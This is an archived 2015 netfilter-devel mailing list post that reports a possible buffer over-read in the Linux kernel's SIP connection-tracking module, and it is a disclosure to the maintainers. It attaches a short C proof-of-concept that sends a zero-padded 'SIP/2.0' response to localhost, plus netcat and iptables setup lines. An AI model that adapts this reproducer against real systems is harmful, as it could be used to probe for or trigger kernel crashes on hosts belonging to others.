All of lore.kernel.org
 help / color / mirror / Atom feed
* almost(?) hole in nf_conntrack_sip
@ 2015-02-18 13:33 Alexey Dobriyan
  0 siblings, 0 replies; only message in thread
From: Alexey Dobriyan @ 2015-02-18 13:33 UTC (permalink / raw)
  To: Patrick McHardy, Pablo Neira Ayuso; +Cc: netfilter-devel

There is a bug waiting to happen in SIP conntracking module.

Look at sip_help_udp() => process_sip_response() => simple_strtoul() sequence.

simple_strtoul() can consume infinite amount of characters because
it doesn't doesn't on overflow and read past end of buffer.
Passing long stream of zeroes works.

I wasted a lot of time trying to reproduce remote crash only to find out
that "struct skb_shared_info" is shipped at the end of data attached to skb
and thus acts like terminator (enough characters which are not 0-9).

In slab debug kernels simple_stroul() call definitely stops at poison byte
(easy to check).

So, the crash exists but masked(fully?) by skb internals.

Not knowing SIP protocol, I'm not sending a patch. :-)

Attaching my lame "reproducer" which sends string
"SIP/2.0 0000000000...0"

    Alexey

nc -u -l -p 5060
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p udp --dport 5060 -j ACCEPT

#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define N 70

int main(int argc, char *argv[])
{
        struct sockaddr_in addr;
        int fd;

        unsigned char *buf;

        buf = malloc(8 + N);
        memcpy(buf, "SIP/2.0 ", 8);
        memset(buf + 8, '0', N - 8);

        fd = socket(AF_INET, SOCK_DGRAM, 0);
        memset(&addr, 0, sizeof(struct sockaddr_in));
        addr.sin_family = AF_INET;
        addr.sin_addr.s_addr = inet_addr("127.0.0.1");
        addr.sin_port = htons(5060);

//      while (1) {
                sendto(fd, buf, N, 0, (struct sockaddr *)&addr,
sizeof(struct sockaddr_in));
//      }

        return 0;
}

^ permalink raw reply	[flat|nested] only message in thread

only message in thread, other threads:[~2015-02-18 13:33 UTC | newest]

Thread overview: (only message) (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2015-02-18 13:33 almost(?) hole in nf_conntrack_sip Alexey Dobriyan

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.